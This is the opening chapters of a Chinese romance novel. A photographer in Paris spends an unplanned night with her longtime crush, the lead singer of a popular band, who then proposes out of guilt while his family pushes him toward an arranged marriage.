《手写月光》
1. 长长的路上
多年后再次重逢暗恋很久的人,是什么感觉?
温亦汀的回答是勇敢又胆怯。
然后,义无反顾。
然后……
-
酒店套房内,暖黄灯光布满偌大的房间,温亦汀扶着人跌跌撞撞,支撑不住身上的重量,脚上一绊,碰灭了床头的灯光。
柔软洁白的床上跌落两个身影。
灯光隐约,空荡静谧的房间只剩一盏落地灯还在角落幽幽发光。
温亦汀被人压住半个身子,朝一旁挪动,勉强与人分开一点距离。
她只喝了一点酒,酒精带来的脸红还未消散,便被另一种脸红取代。
男人手臂松松地垂在她的腰侧,无意识轻轻摩挲着腰间的肉。
他眉头微皱,灼热的气息喷洒在她的脖颈处,唇瓣无意识地在她耳边忽远忽近,掀起密密麻麻的滚烫。
静谧之中,灯光开始发出一股暧昧的暖意,落在两人之间。
“阿淮……”她的声音有些抖,心跳异常活跃。
“……”
窗外淅沥雨声,一声声敲在温亦汀的心头。
她翻身,入眼的是一张熟悉得不能再熟悉的脸,分明的五官,俊逸的眉眼。
他一直是好看的。
温亦汀看着出神好一会儿,脸上发烧,烧得心头一热。
程信淮的靠近让她身子紧绷。
但她不打算推开他。
就着他微抱的姿势,温亦汀微微仰起头,揽住他的脖颈,凑近,吻上了他的唇。
开衫外套不知何时遗落,只余一件吊带。暴露在空气中的皮肤蒙上一层凉意,温亦汀瞬间回神清醒几分,瞪大眼睛,一阵犹豫,抬手欲将人推开。
男人似乎并没有停下的意思。
温亦汀认真看了面前的人一眼,眼神坚定。她紧紧抱住他,吻他,滚烫炙热的温度让她心口开始发热。
一阵酸涩突然蔓延而上,眼眸中蕴着一团水汽,在眼眶中滚烫,泛出水光。
跨越八年的时间长河,她短暂拥有了藏在心里的这个人。
…………
清晨,窗帘缝隙间挤进几缕阳光,将温亦汀唤醒。
睁开眼适应了会儿,她微微动了动,侧过头,入眼的是一片纯洁无暇的床单。
偌大的房间里只有她一人,她脑子里开始像过ppt一样浮现昨晚的画面。
她昨晚和程信淮睡了!
荒唐……
哗啦——
浴室的门被轻轻拉开,在空荡的房间里挤出声音。
温亦汀循声望去,脑子里又变成了一团空白。
程信淮就站在床头,墨发还在滴水,一颗一颗地往下淌,顺着鬓角沿着分明的下颌线滴进浴袍里。浴袍微敞,隐隐约约露出精壮白皙的胸膛。
他抬眼看到床上的人正盯着自己,伸手将浴袍理好。
意识到自己的冒犯,温亦汀霎时垂下头,脸颊升起两朵红晕。
“抱歉,昨天晚上……”
低沉的嗓音里含着歉疚。
温亦汀身子一震。
抬眼时,程信淮的眼神里像藏了一团未散开的乌云,手掌抚摸着额头,手背青筋微鼓,修长手指又按了按太阳穴,眉头化成一种严肃的模样。
温亦汀感觉,那是一种懊恼。
“没事。”
房间里静默了几秒,温亦汀闭了闭眼,缓解昨晚流了太多泪带来的干涩,手紧紧捂着薄被挡住自己,缓缓起身四处找寻自己的衣物。
“稍微等一会儿,叫人重新买了衣服,很快就到。”
正要拾起衣物的手在空中顿住,收了回去,“好,谢谢……”
又是一阵沉默。
温亦汀强装镇定,微不可查地吸了口气,自然松快地卷起床单披在身上,目不斜视地直往浴室走。
略过程信淮时,沐浴露淡淡的味道钻进鼻腔,让她又想起了昨晚的事……
脚下不留意,踩到垂到地板的床单,一拉一扯,她只顾死命拉住床单,膝盖被迫一弯。
一双大手连忙将她的腰搂住,隔着床单,她感觉腰上一热,烧到脸上。
“没事吧?”程信淮轻声询问,助她站稳后松开了手。
沐浴露的味道萦绕在她周身。
“没事。”脸上还不争气地烧着,“我先进去。”
浴室玻璃镜前,温亦汀看着镜子里的自己,脸红得醒目,再往下,脖子上显出几抹异常的红痕,她抬手抹了抹,毫无消除的趋向。
好吧……
咚咚咚——
敲门声清脆,温亦汀吓了一跳。
“衣服送来了。”程信淮的声音在门外响起,“开下门。”
温亦汀将门开了个缝,伸手接过纸袋,“谢谢。”
“早餐已经送来了,收拾好就出来吧。”门外的声音提醒道。
“哦好。”
再出来时,程信淮已不是刚刚身着浴袍的模样,换上了一身舒适的休闲套装,肩膀宽厚,胸膛挺立,双腿修长。
似乎察觉到她的脚步,他看了她一眼,对着电话道:“回北城了再说吧,您别再动心思了。”
温亦汀站在门口,每一步都走得极慢。
“先来吃饭吧……我们边吃边说。”
在她缓步的期间,程信淮已经挂断电话,此时正坐在餐桌上等着她。
温煦的阳光透过落地窗照在他的脚边,映出朦胧的安适。
温亦汀眨了眨眼,浅浅吐气。抛开其他,她竟觉得这样的时刻很舒适。
早餐吃得差不多的时候,程信淮开始解释昨晚的事情。
温亦汀才知晓是因为昨晚的聚会上,队友突发奇想叫了一杯“特别的酒”,阴差阳错被程信淮喝掉,她在外面看到他不太好的模样,帮忙送到顶楼套房,然后他不受控制地……
她仔细听着,渐渐将头埋得低了些。
其实昨晚她可以推开他,但她没有……
一种无耻的感觉爬上四肢百骸。
片刻,程信淮喝了口面前的水,嗓音被润得更好听,“……昨晚的事实在抱歉,我为我昨晚的行为负责。”
“没关系……不用自责。”她轻声说道,稍稍心虚,手指捏着衣角。
餐桌上一片安静。
“昨晚的事……你是怎么想的?”
尴尬的气氛弥漫整个套房,温亦汀开始变得紧张,“我没什么想法。”顿了几秒,她暗自吸了口气,试图让气氛没那么凝重,“还是说,你要我负责?”
果然,程信淮被她这话引得轻笑一声,“我一个大男人要你负什么责。”
“那就没事了啊……我们互不负责。”她犹豫后又斟酌补了一句,“我不会说出去的,别人也绝对不会知道。”
她明白,面前这人好歹是个公众人物,虽不靠脸吃饭,但这种和非亲密关系的人一夜风流,终究不是什么好事。
程信淮盯着她看了好一会儿,几乎要把她看出个洞。
温亦汀没由来地一阵慌。
“一丁。”
一丁……以前同学们都这么叫她。那时候她写字偷懒,总是把自己的名字简化,加上很多人认字认半边,渐渐“一丁”就成了对她的称呼。
这么多年,从他口中说出来总有种不一样的感觉。
“嗯?”
“你觉得我怎么样?”程信淮打破沉默,眉眼变得肃然。
“什么怎么样?”话落,温亦汀还是老实回答了,“你当然好了。乐队主唱,才华横溢,待人有礼……”
听着温亦汀毫不犹豫的夸赞,程信淮开口,“我们结婚吧。”
耳边轰鸣,让一切都失了声音。
“为什么?”
“昨晚的事,对你感到很抱歉……”
他的声音淡淡的,唱了那么多动情歌曲的嗓音却将这句
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话说得很平淡。
修长的手指轻轻敲在桌面,等着她的回答。
嘟嘟嘟——
一串来电铃声突兀响起。
温亦汀看了一眼亮起的屏幕,像是找到了救星一样,连忙拿起手机准备接通,“稍等,我先接个电话。”
关键时刻,她不知道该怎么面对,程信淮的话是一个艰难的选择题。
结婚……
一个很遥远的词,更何况是和他,不爱她的他。
她扪心自问,可以吗?
离开餐桌,温亦汀松了口气,接通了标记为骚扰电话的号码。
电话那头在介绍着什么产品,她一个字也没听进去,借着这个空档,脑子里飞速转动,全为刚刚程信淮的话。
“小姐,你最近有没有用过什么脱毛产品?”专业的推销话语还在持续。
温亦汀牛头不对马嘴地回了句好,又补充了一声道歉,挂断了电话。
她转身,那双深情的眼里带着抱歉,看着她的眼神情绪不明。
带着一贯的礼貌与温柔,却毫无感情的逾矩。
她缓步走到他面前坐下,指甲死死扣着手机壳,“阿淮,我们是能结婚的关系吗?”
至少,结婚是该和喜欢的人。
这话比她想象中更容易问出口,也比想象中坦荡。
对面愣了一下,显然是没想过这个问题。
她已经知道答案了。
“所以啊,没必要赔上自己的感情。别开玩笑了。”
沉默的时间里,温亦汀越来越慌。突然觉得自己刚刚一定是脑子抽风了,她不该问这些,反而显得自己不够洒脱。
她又慌里慌张的开始假装轻松,“结婚没什么好的,我记得你不像是会愿意结婚的人……还是说你如今想结婚了?”
程信淮:“我的意思是……”
倏忽,她不敢听他后面的话,她挺害怕的,害怕从程信淮口中说出的话。
太好,她会觉得自己心中有愧,太烂,她会为自己青春岁月的暗恋悲哀。
“那个,我工作室有些急事需要现在过去处理……”她连忙开口,打断了程信淮解释的话,手上拿着包包,一副要离开的样子,斟酌几番,她转身看他,故作坦荡,“男欢女爱,一夜情……这世界上那么多,也不缺我们,不是吗?”
所以,□□愉也说明不了什么。
程信淮掀起眼皮看向她,被她不经意地避开。
“……一丁。”
他叫住她。
温亦汀放缓动作,转身。
“你是不是不喜欢我?”他眼神清明地看着她,无波无浪,“或者说,你有点讨厌我?”
“怎么这么说?”温亦汀一头雾水,开始反思自己为何会给他一种这样的错觉。
程信淮沉默了几秒,“一种感觉。”
这种揣测让温亦汀暗自嘲笑自己,“你的感觉错了。”
程信淮跟着笑了笑,“也许吧……如果你有什么事情,随时找我。”程信淮也没和她对这个无聊的问题再作探讨,直接转移了话题。
她还在原地,腿脚开始僵直,“什么事情都可以?”
“嗯。”
“那你答应我一个要求吧……”
“什么要求?”程信淮眼神望向她。
温亦汀其实没想过,“……目前还没想好……”
“没事,这个要求随时有效,你可以慢慢想。”程信淮的语调渐尖放松,仿佛是对昨晚的事作出了补偿,让他松了口气。
她深深看了他一眼。
五官分明,明明是硬朗的线条,却不觉得多冷漠,反倒给人随性慵懒之感。岁月仅是抹去了他的青涩和少年稚气,为他披上了一层沉稳的外衣。
她笑着应了声好。
这就是他,慎重又很友好,有情又无情。
可她却感到沉重,身上像有一千斤重担,让人不堪重压。
2. 我想我们是朋友
程信淮正准备从套房出来时,瞥见了床脚下一抹粉红,一个毛线针织的桃花,连接着两把钥匙,孤零零地躺在角落。
大概是温亦汀落下的。
他套上黑色连帽卫衣,顺势弯身捡起来,捏在手里看了看,小小的,毛绒绒的,摸起来很舒服。
掏出手机翻开通讯录,划拉两下,联系人页面翻了一会儿没找到,直接输入搜索才找到人。
点进对话框,他对着钥匙拍了张照,输了几个字。
那头迟迟没有回复,他关了手机,一并将这串钥匙揣进兜里。
昨晚怎么回来的他还记得清楚,酒店顶楼的套房常年给他留着,昨晚的酒不对劲,他逃得快,半路遇到在外面打电话的温亦汀,看到他摇晃的模样,她拘束几番,上前热心帮忙。
一股淡淡的茉莉花味道一直萦绕在他周身,他道谢,接受她的好心搀扶,直到套房里。
或许是那股茉莉花的味道太清新,又或许是其他方面的原因,等他拉回理智时,一切已经晚了。
他有些恼于自己,在这事上栽了跟头,祸害一个无辜的人。
他感到抱歉,想为此负责。给钱,太侮辱人;给爱,他没有。唯一能给的,只是一个身份。
他自以为,结婚或许可以是一种变相的负责。
所以,他跟她说结婚。
早上温亦汀问他的话让他猝不及防,他一直没想过,自然也答不出来。
他抬眼时,看到温亦汀那双明亮眼睛里的神情,不够洒脱,也不够拘礼。
总之,他没看懂。
那时,他有点后悔自己那么草率的负责决定。
-
程信淮与几位投资人见了个面,已经到下午。
等他回到乐队工作室时,乐队的其他人已经准备就位,各种乐器起伏的声音在练习室里张扬。
“终于来了,还以为昨天给你喝死了呢。”
说话的人是时闵,乐队的吉他手,昨晚那杯奇怪的酒,就是他点的。
程信淮盯着这个罪魁祸首嬉笑的脸,狠狠将沙发上的抱枕丢了过去。
“你该庆幸我现在没掐死你。”
“我干什么了,你自己把我的酒喝了,现在还反过来怪我。”
程信淮冷冷睨了他一眼。
“这是这几天的安排。”
团长兼贝斯手刘远绪打断两人斗嘴,他在乐队里比几人大一两岁,人也稳重,将任何事都安排得井井有条。
程信淮拿着安排表看了两眼,淡淡出声,“对了,上午去见了几个投资人。”
知晓是关于公司的事,几人纷纷停了手上的动作。
刘远绪看着桌上的文件,问道,“礼物音乐的事怎么说的?”
礼物音乐是他们乐队所在的公司,也是他们乐队成立五年后创立的音乐公司。如今质数乐队炙手可热,许多创投、银行开始纷纷追捧投资,希望让礼物音乐上市,在短短时间里,找上门的不下十家。
“那些投资人自然是支持礼物音乐上市,在他们眼里,礼物音乐算个香饽饽。”程信淮扫了一眼众人的反应,又补充了一句,“这是投资人的角度。”
“你怎么想的?”鼓手温与季在一旁一直没说话,不参与几人的吵闹,此时也加入进来。
程信淮翻了一下文件,放到一旁,少了几分慵懒的神色,“不让礼物音乐上市,我觉得是最好的选择。”
“礼物音乐其实不需要用上市来证明什么,在市场上去走一遭,容易让很多东西都变质。况且,我们乐队占了礼物音乐营收快七成,若是质数没了演唱会,礼物的营收怕是会像过山车一样,跌宕起伏。”程信淮从冰箱里拿了瓶苏打水,坐回原位,“即使我们乐队现在一切向好,可未来的事也难说。这对那些投资人不公平,而我们自己,到时候也不得不去迎合市场,对我们的音乐,也不够负责。”
众人思索片刻,纷纷点头。
时闵慵懒地抱着吉他,盯着喝水的人看,忍不住再一次感叹佩服。
程家在北城是数一数二的背景,即使不做主唱,当个只知道玩乐的公子哥都不会有人说什么。
程信淮也玩闹,也和其他男孩子一样打架闯祸,但他脑子也很灵活,学习能力很强。
典型的别人眼中的小孩,同龄人眼中的佼佼者。
高中时期几人就已经组建了乐队,少年的热诚总是让人心潮澎湃,即使家世背景都可以让程信淮信手拈来地把乐队捧得又红又紫,但他选择了最实在的方式,和其他人一样,与乐队成员老老实实去酒吧驻唱,各种演出场地乱跑。
即使后来正式作为质数乐队出现在公众视野,程信淮也一直只是一个乐队主唱。
那时候,谁又会知道北城程家的继承人还会这样走街串巷地“卖唱”呢。
和乐队其他人不同之处,大概就是程信淮受家里的熏陶,除了音乐才华,在公司管理和名利场上也行走得游刃有余。大多时候,礼物音乐的事都是程信淮在处理,短短几年时间,礼物音乐就已经风生水起。
他就像个冲锋陷阵的战士,为质数乐队撑起安稳的一片天。
“阿淮分析得在理,我们这么多年了,不变的就是做音乐的初心,要是以后真要那样,相当于变相扼杀我们乐队,分明就是背离了我们做音乐的初衷。”温与季完全赞同程信淮的话。
“阿淮,我们都相信你的判断和考量。在这方面,你是权威。”
其他人并不反对,在长久的相处以来,他们对彼此的信任已经足够深,而程信淮也完全值得信任。
“还得是我们阿淮,来,干一杯。”不知时闵从哪里倒了几杯酒,直接端给了程信淮。
程信淮瞥了他一眼,接下酒杯,意思一下般地喝了一小口,顺手放在了旁边。
正事结束,几人又回到一种惬意的状态。
“你昨晚没回别墅?都没看到你人。”鼓手温与季敲了几下鼓,就放下了鼓棒。
“酒店里住的。”
“难得,还去酒店,约了人?”时闵八卦,隐约感觉有那杯酒的事。
“滚。”
一个字胜过所有解释。
“好嘞。”看着程信淮懒得理他的样,感到没趣,麻溜地滚回了自己的位置。
“话说,昨晚真的什么都没发生?”时闵还是好奇得紧,抱着吉他再次靠近程信淮。
程信淮完全不看他一眼,目不斜视地盯着录音电脑,“要不要下次音乐采访我给大家分享分享你的趣事?好多人也是期待得很……”
“别啊大哥,我错了,我再也不敢了。”时闵立马变得狗腿,搭上程信淮的肩,一起朝着沙发去。
要知道,他的趣事,就是糗事。
时家和程家住得近,两人算是穿一条裤子长大的。从娃娃开始,时闵的所有黑料都掌握在程信淮手中。反过来,他倒是完全找不到程信淮的什么黑料糗事,唯一几件还都是因为他长得好,性格好被人纠缠之类的事,根本就是在变相夸赞他。
这么一来,他着实是毫无优势,只能被程信淮拿捏。
“阿淮这人,心够黑的,不知道哪里有那么多人喜欢他。”有人幽幽说着风凉话。
“对啊,真是不公平。”
看到时闵吃瘪,程信淮慢悠悠坐上休息区的沙发,捞过一旁的吉他。
“时闵的
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黑料是事实,我只是个老实的队友罢了。”
时闵一脸怨愤地从他面前飘过,回了自己的位置。
“不过啊,那也没什么用,阿淮马上就要被吃死了。”有人提醒。
“联姻的事儿还没解决?”刘远绪关心地问起。
“我去,不会还要去见面吧!”时闵惊呼。
“去啊,总得知点礼数。”程信淮懒懒道,开始拨弄吉他。
在程家,程信淮就是个异类。
他不大和家里接触。原因很简单,他是个玩音乐的,而程家上上下下的其他人,要么在政坛八面玲珑,要么在商界叱咤风云。
很多人羡慕他,也因为他作为程家的一份子而忌惮他。
但程信淮现在最想摆脱的,也正是这个身份。
自小就被框在规矩与继承人的身份之间,按部就班地做好继承人,家里安排什么就做什么。直到高中他对于音乐的热爱渐渐苏醒乃至膨胀,他开始打破这层桎梏。
不继承家业,自然引得家中众怒,以程为敬为最。
他不肯再披上这层枷锁,一旦接受,就只有成为家族傀儡的结果。
程为敬退了一步,没再逼着他继承家业,开始计划联姻。
程信淮自然是百般不乐意。
程为敬选择的对象,那不就相当于是个监视人,最后,他还是要被架上继承家业那条路。
没得跑。
对于家里给他联姻一事,程信淮早就明确拒绝过,无奈在家里人那边就像耳旁风。
这次倒好,得知女方也恰好在巴黎,直接先斩后奏,不管他要不要去,总之是先将人约上。
不去,驳了人家面子,让女方也不好看,只得去走个过场,至于结果,都只有一种。
仔细想来,他这位父亲,也是捏准了他不会这么给人难堪。
“要不你认真谈场恋爱算了。”温与季揶揄。
“可能吗?”程信淮幽幽问道。
“不太可能,你就是个玩音乐的和尚。”
“你喜欢什么样的?我搜罗我的广大朋友圈,给你物色一个?”刘远绪也认同认真谈恋爱这话,沉思一会儿,“不过我身边好像没什么异性,除了君如,一丁算是一个。”
程信淮手上微顿,没搭话。
缘份是奇妙的。
温亦汀和他们高中相识,加上她和林君如是好朋友,林君如和刘远绪是青梅竹马,高中时期几人玩得近,也算熟悉,成了朋友。
不过高中毕业后温亦汀就出国了,他们也没什么联系,直到不久前在巴黎再次重逢。
“可别,跟阿淮在一起,心理得强大。别祸害一丁了。”有人提醒道。
乐队几人都知道,程信淮给人的印象就是谦和有礼,温柔随性,其实骨子里对什么都看得淡,唯一看重的,也就音乐了,相熟多年,他们还真没见过程信淮对其他事上过心。
偏偏这人因为这张脸,一副好脾气广受欢迎。
只可惜人只一心扑在音乐上,在感情之事上,没上过心。
其实这也是众人佩服他的,程信淮对音乐很严格,总是力求将一切做到完美的地步,当然他也确实可以做到。所以,他的精力更多地放在音乐上,若是真有一个人跟他在一起,或许需要一定的理解和支持。
况且网络时代,流言纷飞,即使他们靠才华和实力在娱乐圈立足,可谈恋爱还是会比普通人艰难一些。
谁真要喜欢他,有得罪受。
程信淮顿了一下,微不可查地吸了口气,回想起早上对温亦汀说的话,后知后觉地发现自己的不妥当。
他淡笑,拨动一根琴弦,“这话不假。”
3. 如果有期待
温亦汀还是去了一趟工作室。
几个小时的拍摄过后,一众工作人员已经准备收工,温亦汀揉了揉有些发酸的手臂,盯着电脑又检查了一遍刚拍下的片,在电脑上重重敲下enter键,长长地舒了口气。
刚伸了个腰,电话便开始震动。
“一丁,你钥匙找到了!”电话那头,林君如直接报告她拜托的事。
“在哪里找到的?”
“可能在包厢里吧,阿淮捡到了。”林君如如此猜测,“他把钥匙给我了,晚上我直接去你那。”
温亦汀顿了一下,之前她大致就猜到了是在他那里,毕竟昨晚和他们聚会吃饭的时候她还特意看了一下,钥匙还在,早上从程信淮的套房出来后就找不到了。
虽说她有备用钥匙,那钥匙丢了就丢了,但她舍不得上面的桃花挂饰,毕竟是她一针一线勾出来,陪了她七八年的老古董。意义非凡。
挣扎一番,和程信淮那样之后也稍微有点尴尬,她不敢问程信淮,只能假托林君如帮忙问问乐队的人。
“你在听没?”林君如见她半天没回应,喊了一声。
温亦汀连忙答应一声,假装不经意地提起,“我还说要是我过去找他拿的话,正好可以好好谢谢他。”
当然,她肯定不会真这样做。
林君如嗐了一声,情绪如常,“他反正直接让我给你了。他也就顺手一事儿,不会放在心上,你要真谢就过两天聚会再谢谢他吧。”
“那也行。”
挂断电话,温亦汀陷入沉思,不知是荷尔蒙激素紊乱还是怎么,她脑子里总是时不时闪现程信淮赤身裸体的样子,弄得她整个人心慌意乱。
“Willa,今天辛苦你了。”一道飒爽干练的声音中断她的思绪。
说话人正是工作室的老板Alice,中国人,在巴黎定居多年,自她加入工作室以来便对她照顾有加。
温亦汀放下手中的包包,“不辛苦,本就是我该做的。”
Alice露出满意的笑容,看着面前清丽的女孩,一头乌黑的发随意地卷在后脑勺,垂下几缕碎发,清爽随意。
她由衷喜欢温亦汀,但温亦汀不久前递上了离职申请,今天的这场拍摄,是她在职的最后一次。
Alice很舍不得她走。
“现在很多客户都说我工作室的Willa摄影技术好,出片质量和沟通效率高,口碑这么好,现在想想,我有点后悔把你放回国了。”
“Alice,你说得太夸张了。”
“你别谦虚了,你现在有这个实力。”
“Alice,以后还会有更多更优秀的摄影师加入,不缺我一个的。我妈这两年身体不太好,回去方便照顾她。”温亦汀莞尔一笑,眼神中充满感激,“谢谢你一直以来对我的照顾。”
Alice摆了摆手,只得接受这个遗憾的消息,盯着她笑道,“都是该照顾的。”
第一次见面时,她一眼便在一众人里注意到温亦汀,发黑肤白,明媚柔和。一双杏眼灵动清明,搭上浓密纤长的睫毛,俏丽清雅。脸上挂着浅浅的笑容,像林间透过的一缕缕阳光,明朗清澈,让人觉得很舒服。
除了漂亮,她更喜欢她身上那股倔劲儿。
在她的工作室,需要熬,两三年的摄影助理会淘汰很多人。
当她这样给温亦汀打预防针时,并没有期望她能立马给出什么答案。
出乎意料,那时温亦汀眼神坚定:我能挺过去。
在一年又一年的时间里,她见证了温亦汀从默默无名每天扛摄影器材、打光修图的助理,变成如今小有名气的摄影师。
“要不给你介绍个法国帅哥?华侨我这也有。不管你喜欢什么样式的,我都能按照要求给你找来。”Alice不死心,试图用男色做挽留。
温亦汀忍不住挑眉,一边摇头,“Alice,你怎么还干这事。”
以前Alice不是没有做过媒人的差事,都是不变的结局——被拒绝。
“你喜欢什么样的?我按需择优给你找。”
温亦汀狡黠一笑,嘴角露出一个清浅的酒窝,抬了抬手,“要是喜欢那样的也行?”
顺着她指示的方向,Alice微微转头,视线落在桌上的杂志封面上。
杂志封面的人,墨发垂在额前,侧脸清隽,露出的下颌线利落流畅。
淡然的神情,慵懒的姿态。
Alice嘴角一抽,“……你为难人倒是有一套,给你找个山寨版的要不要?”
“逗你的。”温亦汀迅速摇头一笑而过,不动声色地拒绝,“Alice,你知道的,我心太狠了。”
“你哪里是心太狠,肯定是心有所属了?”
像温亦汀这样长得漂亮,性格随和,工作能力优秀的女孩子,不缺追求者,至今还单身,那估计就是心里藏了人。
“哪有……”她否认,温和一笑,“只是想先把工作安定下来。”
“回国什么打算?”
即使不舍,但Alice也不可能强留下人家,对于这么一个优秀的摄影师,她欣赏,也很乐意给予帮助,“我在北城认识几家工作室的老板,佳丽,风尚,要不要说一声,介绍你们认识认识?”
佳丽,风尚……国内出了名的摄影工作室,很多摄影师想要进去的地方。
温亦汀很感激,但与她的规划出现了差距。
温亦汀很感激,笑着摇了摇头,脸上的酒窝漾出漂亮的弧度,“谢谢Alice了,我打算回国和师兄试着经营一家摄影工作室,想自己再闯一闯。”
“好想法,看来不久后又要崛起一家实力不凡的工作室了。”Alice满脸欣慰,拍了拍她的肩,“虽然你回国了很难再见面,不过记得常联系,有困难随时找我。”
“谢谢你,Alice。”
-
休息时间,身边的小助理哼出曲调,心情颇为畅快。
温亦汀笑她,“中奖了?这么开心。”
“堪比大奖!”小助理喜滋滋的,“我抢到了质数乐队演唱会的票,不过是在日本。”
“阿淮……”关键词在她脑海中飘荡。
“哇!Willa你知道?”
温亦汀手上顿了一下,“名气这么大的乐队,不知道都难。”
“就是他们乐队。好不容易抢到票了!”小助理很是激动,“他们乐队最近就在巴黎,参加一个音乐盛典,我还希望我能偶遇一下呢!”
小助理激动得很,只抱着温亦汀的手臂摇。
“这乐队给你下药了?你天天都看着他们乐。”对这些没有兴趣的同事经过,幽幽吐槽。
小助理不以为意,喜上眉梢,转身对同事解释,“真下药了……被里面的主唱迷得不要不要的。反正我觉得乐队里面,质数乐队绝对是独一份的存在……就算不追星,也值得去看演唱会啊。”
小助理这话没毛病,温亦汀鬼使神差地点了点头。
成立八年,在资本与流量的时代,粉丝群体囊括从高中生到中年群体,有人看中他们的颜值,有人看中他们的才华,有人看中他们音乐中难以言喻的情感共鸣,在这个人才辈出的时代,他们理所当然地在众多歌手乐队中活生生杀出一条血路。
“之前你说帅得很突出那个,就是质数乐队的主唱程信淮,先前我拿来拍摄参考的杂志封面上就是他……”小助理东瞧西瞧,拿起刚刚桌上的那本杂志给同事看。
“Willa,你也是北城人,你以前有没有听过阿淮的什么故事啊?”
忽然被cue,温亦汀身躯微震,脑海里渐渐牵扯起密密麻麻的回忆,不出名的他,懒散的他,翻墙的他……
好多好多。
同事又喊了她一声,温亦汀很快回神,摇了摇头,“没有听过。”
-
短短几天时间,温亦汀忙得没边。
交接工作也并没有多轻松,她一直与客户商量,要么直接转单,要么就是把时间往前提了提,以至于她最近几天的安排很满,今天还算空闲。
收到林君如发来的聚会地点,她点开导航,没注意到她随后又发了一条信息过来。
巴黎的雨总是来得突然。
出了摄影棚,才发现早晨的阳光明媚已经变成了阴沉湿润,阵雨的累计,街道里面积蓄了不少水洼。
她站在街角的屋
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檐下,看着挂在屋檐的雨滴砸在石板路上,溅起细小的水花。
雨丝细斜,笼罩整个街市。
天气还算给面子,不是什么瓢泼大雨,就算没有伞也能走。
刚迈步到马路边,她才注意到路边停了一辆白色大G。
车窗降下,一道男声从那边传来。
“一丁。”
温亦汀顿了顿,倏然抬头,密密麻麻的雨丝蒙上一层纱,但她还是看清了这张脸——高挺的鼻梁,分明的轮廓,深邃的眉眼,还有眼角下那颗分外好看的泪痣。
细雨仿佛添了很多不一样的氛围,她心漏跳了一拍。
醇厚的嗓音夹着雨中的湿润,打断她的愣怔,“过来接你,直接过去。”
温亦汀反应过来,程信淮是来接她的,竟有一丝小雀跃。
等她上了车,才看到林君如的那条短信,【阿淮顺便过来接你,你路口等一下。】
好吧,雀跃得太早了……
此时,车厢里弥漫着一种诡异的安静。
温亦汀捏着手指,转头,“谢,谢谢你捡到我的钥匙。”
有种没话找话的感觉。
“不客气,”程信淮淡淡说了一声,几秒后,他又补充,“看你一直没回复,所以直接让君如带给你了。”
“回复什么?”
温亦汀可是真真切切,没有收到他的任何信息。
“当时微信问你了,你没回。”程信淮陈述事实。
温亦汀顿住,回想起来,“你可能是发给我了之前换掉的微信号了……”
“是吗?”等绿灯空隙,程信淮解开手机,找到她的号给她确认,“不是这个吗?”
温亦汀看了一眼,眼眸暗沉。
“不是,我之前换了号,这个没有用过了。”她解释,声音轻了几分。
记得几人在巴黎重逢后,她就告知过,她微信号换了,当时每个人都加了,包括程信淮。
她指尖有些发抖地接过他的手机,在里面搜索,找到了她的微信,还是她的微信名——illa。
“这个是我的新的。”温亦汀提醒他。
程信淮顺着看了一眼,“哦,可能上次忘记备注了,等会我备注一下。”
温亦汀手里还拿着他的手机,心中却像五味杂陈,她冲动而为,直接上手,“我帮你改好了。”
“好,谢谢。”
两人都很默契,就像温亦汀说的,一夜春风,将那晚的记忆直接清理。
谁也不会再提。
似乎,这样也更让人轻松。
一路沉默,直到目的地。
温亦汀刚跨出一步,肩上忽然被一道力拉了一下。
反应过来,她才发觉程信淮正单手握着她的肩,将她拉进马路内侧,位置变换,头顶的黑伞也落下,挡在两人的身侧。
唰——
积水被溅起,打在他的黑伞上。
温亦汀呼了口气,感激之情油然而生,要是被溅一身水,她怕是都不好意思去见人了。
视线往上,她才注意到,刚刚为了挡住溅起的污水,两人就像站在一块浮木上一般,离得极近。
熟悉的薄荷淡味又一次刺激了她的记忆。
一阵不知名的紧张,她连忙退后,与他拉开距离。
后退两步,加之她心猿意马,还没来得及道谢,她站在马路边沿,重心不稳地崴了一下,直往后倒。
程信淮手疾眼快,长臂伸开,稳稳拉回险要摔倒的她。
从惊险中回神,她才发觉此时的情况。
他正搀扶着她。
与其说是搀扶,不如说像是用一种古怪的姿势抱着她。她能清晰感受到他有力的手臂托着她的腰身。
姿势的原因,程信淮低头与她的距离拉近,她看着咫尺的一张脸,心跳加速。
目不转睛,也忘了言语。
“小心点。”他提醒道,视线看了看她的脚下。
在他的借力下,温亦汀重新站稳,慌乱地垂下眸,微微活动脚踝,“谢谢。”
看了一眼,程信淮倒是格外淡定,轻轻抚手,“走吧。”
温亦汀平静下来,默默跟上。
4. 我想最好是不说
出于身份,他们订了一间包厢,暖黄的灯光衬得室内异常温暖,水晶灯异常明亮,舞动着幽幽光芒。
包厢的桌面很大,众人随意选了个位置坐下,温亦汀顺势坐在了靠近门口的位置。
闲聊间,她随意扫了一眼,却没有看到程信淮的身影。
“阿淮呢?”有人问出了她的所想。
“外面接电话吧。”
温亦汀朝外望了两眼。
颀长的身影正在倚靠在栏杆上,微微低头,面上表情和平常没什么两样,只是多了些严肃,对着电话那头说了几句,又等着那头的回声,似乎是在争论着什么。
“我估计就是他家里的电话。”时闵说得十分肯定。
“这你都知道?”
“他最近可惨得哟,一天天像被催命似的,看那样子就知道啊。”
“他怎么了?”温亦汀瞟了一眼他人随意的表情,忍不住问。
“面临着人生大事。”
“人生大事?”她不解。
“婚姻大事呗。”
“……”
说不出口的情绪,找不到宣泄的出口,在胸腔里慢慢积蕴回荡。
“之前他爸想让他回集团,慢慢接手公司的事,阿淮不干,这次就换了个路子,打算让他联姻,找个人把他拴住。”温与季摇晃着酒杯,解释得简单而直白。
包厢里除了温亦汀和林君如没什么外人,在他们心中,两人不是外人,是曾经青葱岁月的“战友”,即使温亦汀和他们多年不见,但她的品性,大家都信得过,所以这些事也不用避嫌。
林君如插了一句,“什么年代了,还搞联姻。”
“虽然是个主唱,可人家终究还是个大少爷,继承人啊,有钱人那套他肯定要经历的啊。”
林君如认同般点点头,“有道理。”
温亦汀心中一沉。
“看来要恭喜他了。”
如果形容与他的重逢是站在山顶,呼吸清新微凉的空气,畅快而又畏惧高山的巍峨,那么现在听到这个消息,就是从山顶坠下去的感觉。
“有什么好恭喜他的。阿淮那个人你们又不是不知道,哪有那心思,过两天还要见联姻对象,这两天正想法子……以前他爸就不喜欢他玩音乐,现在就开始催着成家。他再不顺着点,估计阿淮就真要滚回去继承家业,我们乐队也要走下坡路了。”
温亦汀心中自嘲,一种怆然慢慢蔓延。
她突然明白那天程信淮为什么会跟她说结婚的事了。
等她抬头时,程信淮的身影就那么准确地落入她的视线。
她看着他,心情忽高忽低。
